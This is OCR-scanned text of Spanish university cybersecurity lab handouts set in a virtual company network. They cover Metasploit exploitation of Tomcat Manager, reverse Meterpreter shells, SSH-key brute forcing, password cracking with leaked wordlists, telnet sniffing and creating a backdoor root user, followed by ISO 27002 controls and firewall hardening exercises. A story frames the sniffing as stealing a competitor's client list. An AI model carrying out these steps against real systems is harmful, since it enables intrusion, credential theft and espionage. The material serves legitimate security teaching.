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Buscar el exploit en metasploit por el cédigo CVE.Se utiliza el comando 'search’
Cargar el exploit que esté catalogado como excelente y tenga una descriPcion:
"Apache Tomcat Manager Application Deployer Authenticated Code Execution™
Los exploits se cargan usando el comando 'use’
Configurar los parametros:

- PASSWORD

- RHOST (IP remote host)

- RPORT(port remote host)

- LHOST (IP local host)

-  USERNAME

- TARGET
En algunos parametros los valores introducidos no tienen por qué ser los que se
necesiten para el atague que se esté realizando por lo que no habrd que dejar
nada preconfigurado sin comprobarlo. Si deseamos obtener informacion sobre
los pardmetros que se necesitan rellenar se se puede utilizar el comando 'show
options' 6 para un informe mas detallado el comando 'info".

Para configurar un valor se realiza de la siguiente manera:
msf exploit (nombre del exploit) > set parametro valor

Si faltase informacion para rellenar algunos parametros (PASSWORD vy
USERNAME) se tendran que usar otros moédulos de metasploit como por
ejemplo los scanners del mddulo auxiliary. Para ello habra que buscar por tomcat
en metasploit y seleccionar el scanner del modulo auxiliar que tiene como
descripcion: " Tomcat Application Manager Login Utility"

Por ultimo faltaria elegir que payload cargariamos dentro del exploit. Para saber
que payloads hay disponibles utilizamos el comando 'show payloads'.

Habréa que elegir el mas adecuado teniendo en cuenta que queremos una sesién de
meterpreter y el protocolo necesario. Las conexiones de tipo 'reverse' lo que
realizan es que la conexion se establece de la victima al atacante. Por lo que
siempre serd preferible ya que las conexiones de origen interno hacia afuera
siempre suelen estar menos protegidas por los firewalls y antivirus que las
conexiones de origen externo hacia dentro.

3.1) Una vez lanzado el exploit, se tendria el control del usuario del servicio. Por lo que
habra que conseguir tener acceso a root para hacer ‘pivoting' y acceder a otros sistemas
de la red debido a que no hay segregacion de redes. Para poder realizar una elevacién de
privilegios y poder tener el control total de la maquina o bien tenemos las contrasefias,
las llaves pablicas o accedemos explotando alguin servicio. En este caso existe un ataque
que permite realizar un ataque de fuerza bruta a la llave publica debido a una contrasefia
débil. Debido a una mala configuracién de las cuentas y de los privilegios de las
carpetas, a través de un usuario no privilegiado se puede acceder a la llave ssh cifrada
del usuario root.

iv.

Lanzar una Shell del sistema desde meterpreter

Averiguar que usuario eres en el sistema

Encontrar la Ilave de autorizacion del usuario root para acceder por ssh en el
servidor

Hacer uso de la aplicacion searchsploit en una terminal nueva para buscar en

Kali un exploit de OpenSSL. Buscar entre los resultados entregados uno que sea
para realizar un ataque de fuerza bruta RNGA. Seguir las instrucciones del
archivo .txt
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Vi.

Buscar con un comando de Linux en el directorio ../rsa/2048/ una clave que
coincida la que hemos obtenido

Acceder al mismo servidor a través de ssh con el usuario root y la contrasefia
obtenida

3.2) Una vez obtenido el acceso al servidor web como root intentar obtener los
credenciales de la cuenta por si sirven para otros servidores de la misma red. Las
contrasefias en los sistemas Unix se encuentran por defecto en hashes. Por lo que si se
quiere obtener en texto claro se debera realizar un ataque de fuerza bruta 6 de
diccionario por si la contrasefia es débil.

Encontrar donde se alojan las contraserias en el servidor
Seleccionar la contrasefa root y guardarle en un archivo .txt
Para crackear una contrasefia normalmente se utilizan las herramientas John the
ripper, Hashcat 6 alguna otra que viene en la distribucion de Kali Linux. Estas
herramientas realizan ataques de fuerza bruta 6 de diccionario para romper el
hash.
Crear un buen diccionario puede llevar afios 6 el haber realizado un robo masivo
de contrasefias de alguna base de datos importante. Si no tienes tu propio
diccionario puedes usar los siguientes:
=  m3g9trOn 122 million passwords
= RockYou: diccionario obtenido en 2009 de un juego de una red social
y una pagina de publicidad.
(En Kali: {usr/share/wordlists/rockyou.txt.bz2)
(http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2

= Un buen listado de diccionarios:
(https://wiki.skullsecurity.org/Passwords)
El diccionario m3g9trOn se puede conseguir en varios sitios de internet. Como el
archivo es demasiado grande, se ha hecho una fragmentacién con algunas
contrasefias y sus hashes por lo que no es necesario ni siquiera utilizar una
herramienta de fuerza bruta. Encontrar la contrasefia en texto claro utilizando el
comando grep de los sistemas Unix.

3.3) Realizar un escaneo sigiloso con nmap dentro de la red y encontrar el servidor de
archivos. Acceder como root y obtener los archivos con informacién sensible de la
carpeta 'Proyecto’.

PARTE 2: CONTROLES

GUION

A. ANALISIS DEL ATAQUE

1.1) Analizar cudles han sido los elementos técnicos y humanos que han producido que
el ataque haya tenido éxito.

1.2) Analizar qué impacto podria tener este tipo de ataques en una empresa real y como
podria repercutir en su economia.
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1.3) Analizar qué medidas implementarias si fueses el administrador de sistemas de la
empresa.

B. IDENTIFICACION DE LOS CONTROLES

2.1) Abrir el documento Controles-ISO-IEC-27002:2013.pdf e identificar en el indice
qué control 6 controles aplicarian a este escenario. Indicar los controles.

2.2) Especificar cudles son los apartados en la guia de implementacién del documento
Controles-1SO-IEC-27002:2013.pdf que habria que aplicar para prevenir este tipo de
ataques de cada control identificado en el apartado anterior.

C. IMPLEMENTACION DE LOS CONTROLES

3.1) Implementar técnicamente el control Segregacion en redes. Para poder implementar
con éxito este control habra que configurar las reglas de iptables del firewall para poder
redirigir el trafico hacia la DMZ o la red interna. También habrd que configurar las
interfaces de red del firewall para definir distintas vlans. La red deberia seguir el
siguiente diagrama:

g Red EPS
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-
=

4 |

L
[
IF 192 168.1.100

Red Local Red EFS interna
05 Windows ¥P

P 1921621110
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05 Windows?
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ethd Red DMZ
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wthl Red DMZ

05 Debian?

\\

\ns Metasploitable2

Ji rL,
_
P 152 163.10.20

ethDFRed DMZ
05 Uburtuld.04

)

Los cambios a realizar son los siguientes:

i. Abrir Virtualbox y antes de arrancar la maquina virtual firewall ir al apartado de
Red.
El primer adaptador debera estar en modo NAT (es el que dara internet real a
nuestra maquina).
El segundo adaptador debera estar en modo Red Interna en la red 'siminternet’
(es la red que simulard internet para hacer posible que el atacante tenga
conexion con la empresa y todo el trafico sea en local).
El tercer adaptador debera estar en modo Red Interna en la red 'EPS' (es la red
interna que simula la red interna de una empresa que utilizarian los trabajadores
y el servidor FTP).
El cuarto adaptador debera estar en modo Red Interna en la red 'DMZ' (es la
zona desmilitarizada donde estaran los servidores Web y DNS)
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ii. Acceder como usuario root al firewall. Abrir un terminal y confirmar que
tenemos las interfaces configuradas levantadas (ifconfig). En Virtualbox las
interfaces ethX se corresponden por orden numérico a los adaptadores, por lo
que la interfaz ethO sera el que actie como NAT, ethl como simlinternet, eth2
como DMZ y eth3 como EPS. En el firewall se han creado interfaces virtuales
asociadas a una misma interfaz de la manera eth1:X
En caso de que alguna interfaz no estuviese levantada introducir el siguiente
comando:

= root@firewall:~$ ifconfig ethX up

Comprobar que se le ha asignado una IP. En el caso de que no tuviese asignada
una IP habra que configurar el archivo /etc/network/interfaces:
= root@firewall:~$ vi /etc/network/interfaces
Pulsar la tecla ‘i para habilitar la escritura en vi. La configuracion
deberia quedar asi:

= root@firewall:~$ service networking restart

» root@firewall:~$ update-rc.d networking enable

= root@firewall:~$ reboot

iii. Con las interfaces bien configuradas, visualizar las reglas configuradas en

iptables:

= root@firewall:~$ iptables -L
En iptables las reglas se establecen en cadena, eso significa que primero se
aplicara la primera regla, luego la segunda y asi hasta completar la cadena.
Para facilitar el proceso de creacién de reglas de iptables se va a utilizar una
GUI llamada Fwbuilder que permite disefiar la politica de seguridad y aplicarla
en la maquina que haga de cortafuegos.

Un firewall dependiendo de que esté asegurando puede tener distintas reglas,

pero los elementos esenciales suelen ser comunes a todos, entre los que se
incluyen:
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1) El destino nunca debe ser el firewall
2) Incluir siempre como ultima regla una regla de denegacion por
defecto
3) Incluir siempre registro en reglas de denegacion
4) Restringir al maximo los elementos que conforman las reglas
5) Restringir al maximo el trafico saliente. Por ejemplo: soélo
permitir el trafico saliente a puertos 80, 443 y 21.
Acceder a la maquina firewall y abrir fwbuilder. Cargar el archivo fw-tfg-
policy2_nat.fwb y comprobar todas las reglas en el apartado Policy. En el
apartado NAT, habilitar el enrutamiento para el servidor FTP desde la red
Biblioteca.
Guardar la nueva configuracion y ejecutar el script fw_last_policy.sh en el
directorio /etc/fw/ para cargar las nuevas reglas de iptables.

iv. Con estas buenas practicas, disefiar teéricamente qué reglas se necesitarian para
hacer una segregacion de redes.

v. Implementar las reglas en el firewall y realizar los ajustes necesarios en todas las
maquinas virtuales para el buen funcionamiento de la red empresarial.

MEMORIA

El alumno deber& documentar todo el proceso del ataque a través de capturas de pantalla
de lo anicamente pedido e incluyendo las explicaciones necesarias para su comprension
por parte del profesor en la correccion.

Para no extender la memoria, incluir los comandos que tengan una cierta cohesion en
una misma captura. (p. ej. ifconfig, cat /etc/network interfaces; set Ihost, set rhost, set...)
En la segunda parte se debera contestar a todas las preguntas realizadas y documentar
las implementaciones de los controles tanto practicas como tedricas.
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LABORATORIO DE CIBERSEGURIDAD

PRACTICA 4: CONTROL DE ACCESO EXTERNO A TRAVES DE UN PROTOCOLO
CIFRADO

Objetivos:

e Conocer algunas de las herramientas mas populares y conceptos bésicos de un
ataque hacking en cada una de las fases que establece la certificacion CEH
(Certified Ethical Hacker) y la metodologia OSSTMM (Open Source Security
Testing Methodology Manual). El ataque de esta practica estara basado en
capturar y analizar el tréfico de una red publica donde la victima usa protocolos
sin cifrado.

e Conocer el estdndar ISO-IEC 27001 v2013, especialmente los controles que el
estandar ISO-IEC 27002 proporciona como las mejores practicas de seguridad
en la gestion de la seguridad de la informacion.

e El alumno debera determinar, relacionar e implantar, si fuese posible, los
controles propuestos por la ISO-IEC 27002 en el entorno empresarial
virtualizado entregado que aplican en el escenario propuesto.

Instrucciones generales preliminares:
En el paquete EntornoEmpresarialVirtualizado.rar entregado al alumno encontrara
todas las maquinas virtuales necesarias para el buen desarrollo de la préctica. El paquete
incluye las siguientes maquinas virtuales:

=  Firewall

= Servidor Web
=  Servidor DNS
= Servidor FTP
=  Windows XP
=  Windows 7

= Kali Linux

Para preparar el entorno virtual realizar los siguientes pasos:

1) Abrir Oracle VirtualBox

2) Descomprimir el paquete EntornoEmpresarialVirtualizado.rar

3) Lanzar todas las maquinas virtuales al hacer doble-click en el archivo
NombreMaquina.vbox

Instrucciones generales especificas:

Para esta practica el alumno necesitara comprobar las IPs de algunas maquinas virtuales
para simular una red publica externa de la empresa.

La maquina virtual Windows XP debera tener una IP 172.16.1.110

La méaquina virtual Kali Linux debera tener una IP 172.16.1.2

Para poner una IP estatica en Windows 7 hay que seguir los siguientes pasos:
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1) Ir a Inicio > Panel de Control > Redes e Internet > Centro de Redes y Recursos
Compartidos
2) En el panel de la izquierda pinchar con el boton izquierdo en 'Cambiar configuracion
del adaptador’
3) Pinchar con el boton derecho en '‘Conexidn de area local' y en 'Propiedades'
4) Seleccionar 'Protocolo de Internet version 4 (TCP/IPv4)' y pinchar en propiedes
5) Seleccionar 'Usar la siguiente direccion IP' e introducir los siguientes valores:
= Direccion IP: 172.16.1.100
» Méscara de subred: 255.255.255.0
= Puerta de enlace predeterminada: -

Adaptador Ethernet Conexidn de area local 4

Sufijo de conexidn especifica DNS :
Descripcidn : Adaptador Ethernet PCI AMD PCHMET Fam

Direccidn fisica : Bg-88-27-2F-8E-85
DHCP habilitado : Mo

Direccidn IP 1 172.16.1.188
Miscara de subred : 255.255.255.8
Puerta de enlace predeterminada H

ily #4

Comprobar las interfaces y las IPs que tiene la maquina atacante Kali Linux
1) Mirar las interfaces de red levantadas (ethO, ethl...ethN, lo) y toda la informacion
relativa a ellas:
= root@Kkali-tfg:~# ifconfig
El resultado deberia ser el siguiente:

La interfaz ethO sera la interfaz de tipo NAT de VirtualBox para tener acceso a internet
en el caso de que necesitemos buscar informacion.

La interfaz ethl serd una interfaz de tipo Red Interna de VirtualBox con nombre
siminternet y que simulara Internet y en la que tendremos asignada una IP "publica”.

La interfaz eth2 serd una interfaz Red Interna con nombre <Starbucks> y que simulara
una red local publica y en la que tendremos asignada una IP local.
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PARTE 1: ATAQUE
HISTORIA

A. FASE DE RECONOCIMIENTO

A pesar de encontrar la Gltima vez todo lo que tu amigo queria, te pide si puedes
conseguir la lista de contactos de una persona del departamento econdmico financiero
para obtenr informacion que le permita montarse él su propia empresa que les haga la
competencia robandoles sus clientes.

La persona de econémico financiero en su Facebook no para de poner comentarios de lo
que estd estudiando para sacarse un master y que encima tiene que trabajar en la
biblioteca para sacar adelante su 'proyecto’ start-up. En sus comentarios también afiade
la localizacion de la biblioteca a la que suele asistir por lo que decides ir a ver si
capturas algo.

Una vez llegas te sientas detras de ella a ver si averiguas sus credenciales grabando su
teclado con tu movil cuando se conecte a alguna red social. Después de pensarlo bien
decides que puede ser arriesgado hacer eso ya que alguien te puede ver y puedes meterte
en problemas més graves.

Asi que decides esperar, de repente realiza una llamada agobiada en la que oyes partes
de la conversacion:

-Necesito unos excels muy importantes que hice el otro dia y me dejé en el servidor de
archivos

-¢Por telnet?; Qué es eso?

-¢ Y ya estd? Ok, muchas gracias, te debo una

Al oir telnet, se te abren los ojos como platos y se te ilumina la cara, no estara pensando
acceder por telnet a un servidor hoy en dia ¢no? jPero si no estd cifrado!
Réapidamente abres tu portatil y tardas en escribir Wireshark en un terminal lo mismo
que en pensarlo. Te preguntas por qué la gente ataja y hace las cosas mal, pero sabes la
respuesta. La seguridad es incompatible con la usabilidad y funcionalidad.

B. FASE DE ESCANEO Y ENUMERACION

Como todavia tienes unos minutos hasta que la persona investigada, que como cualquier
persona ajena a lo verdaderamente técnico, le llevara unos minutos abrir un terminal en
windows y entrar en telnet.

Eso te da el tiempo perfecto para escribir un script en Bash para que te muestre las
contrasefias en texto claro a través de tcdump (mas clasico que wireshark, mucho mas
discreto sin colorines y menos conocido por si alguien te ve).

Cuando estas a medias con el script, parece ser que el tiempo se te ha pasado sin darte

cuenta ya que la chica tiene todo instalado y acaba de abrir un terminal. Tendras que
usar Wireshark, aunque ya luego termines ese script, por amor al arte.
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Empieza a parecer el protocolo telnet en la pantalla, aun asi te sigue chocando, es tan de
la vieja escuela... Sigues el stream tcp de un paquete telnet y como por arte de magia (es
lo que tienen los protocolos sin cifrado) aparecen los caracteres del usuario y de la
contrasena.

C. FASE DE EXPLOTACION
Con las contrasefias obtenidas accedes al servidor de archivos y buscando entre los
directorios consigues la lista de contactos de los clientes.

GUION

A. FASE DE RECONOCIMIENTO

1) Tras haber realizado una investigacion con los buscadores web (google hacking, bing
hacking...), las redes sociales de nuestro objetivo y el reconocimiento fisico, obtienes:

Localizacion de la biblioteca.
Protocolo de acceso remoto que va a utilizar: telnet.

B. FASE DE ESCANEO Y ENUMERACION

2.1) Conectarse a la misma red publica que la victima y realizar un escaneo para
determinar la IP local que tiene nuestra victima. Empezar a capturar todo el trafico de
nuestro objetivo con la herramienta wireshark (tcdump si se prefiere en modo terminal).

2.2) En este apartado el alumno asumira el rol de la victima por lo que tendra que iniciar
sesion en el ordenador de Windows XP como rrhh e iniciar una sesion telnet con el
servidor de archivos FTP.

2.3) Desde Kali Linux, con wireshark abierto:
i. Identificar la IP objetivo
ii.  Establecer los determinados filtros en wireshark para capturar todo el
trafico de esa IP de los siguientes protocolos:

= TCP
= HTTP
=  Telnet

iii.  Seguir la transmision TCP de telnet y obtener las credenciales

2.2) (OPCIONAL) Automatizar la obtencion de las credenciales a partir de tcdump.
Programar un script en Bash que:
i.  Muestre las credenciales en tiempo real por el terminal
ii.  Tras haber guardado todo el trafico telnet en un archivo, extraiga solo las
credenciales

C. FASE DE EXPLOTACION

3) Una vez obtenidas las claves:
i.  Acceder con las credenciales al servidor victima
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ii.  Crear una puerta trasera para futuras explotaciones del sistema:
= Crear un nuevo usuario con privilegios root

PARTE 2: CONTROLES
GUION

A. ANALISIS DEL ATAQUE

1.1) Analizar cuales han sido los elementos técnicos y humanos que han producido que
el ataque haya tenido éxito.

1.2) Analizar qué impacto podria tener este tipo de ataques en una empresa real y como
podria repercutir en su economia.

1.3) Analizar qué medidas implementarias si fueses el administrador de sistemas de la
empresa

B. IDENTIFICACION DE LOS CONTROLES

2.1) Abrir el documento Controles-1SO-IEC-27002:2013.pdf e identificar en el indice
qué control 6 controles aplicarian a este escenario. Indicar los controles.

2.2) Especificar cuales son los apartados en la guia de implementacion del documento
Controles-1SO-IEC-27002:2013.pdf que habria que aplicar para prevenir este tipo de
ataques de cada control identificado en el apartado anterior.

C. IMPLEMENTACION DE LOS CONTROLES
3.1) Implementar, teéricamente OpenVPN vy précticamente el cliente SSH en Windows
del apartado d) del control Teletrabajo.

i.  Los trabajadores deberian poder usar una vpn (OpenVPN) y el técnico de
sistemas ssh (OpenSSH).

ii.  Instalar un cliente SSH en las maquinas de los trabajadores. Un cliente
de SSH en Windows es PuTTy que se puede descargar en el siguiente
enlace:

1) http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

2) Instalar PUTTY vy ejecutarlo

3) En el espacio Host Name escribir la IP del servidor Web y el
puerto 22
En Saved Sessions escribir el nombre con el que queremos
guardar esta configuracion para un futuro y pinchar en Save.

4) Pinchar en Open y se abrira una terminal para introducir las
credenciales del sistema remoto.
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MEMORIA

El alumno deber& documentar todo el proceso del ataque a través de capturas de pantalla
de lo anicamente pedido e incluyendo las explicaciones necesarias para su comprension
por parte del profesor en la correccion.

Para no extender la memoria, incluir los comandos que tengan una cierta cohesién en
una misma captura. (p. ej. ifconfig, cat /etc/network interfaces; set Ihost, set rhost, set...)
En la segunda parte se debera contestar a todas las preguntas realizadas y documentar
las implementaciones de los controles tanto practicas como teoricas.
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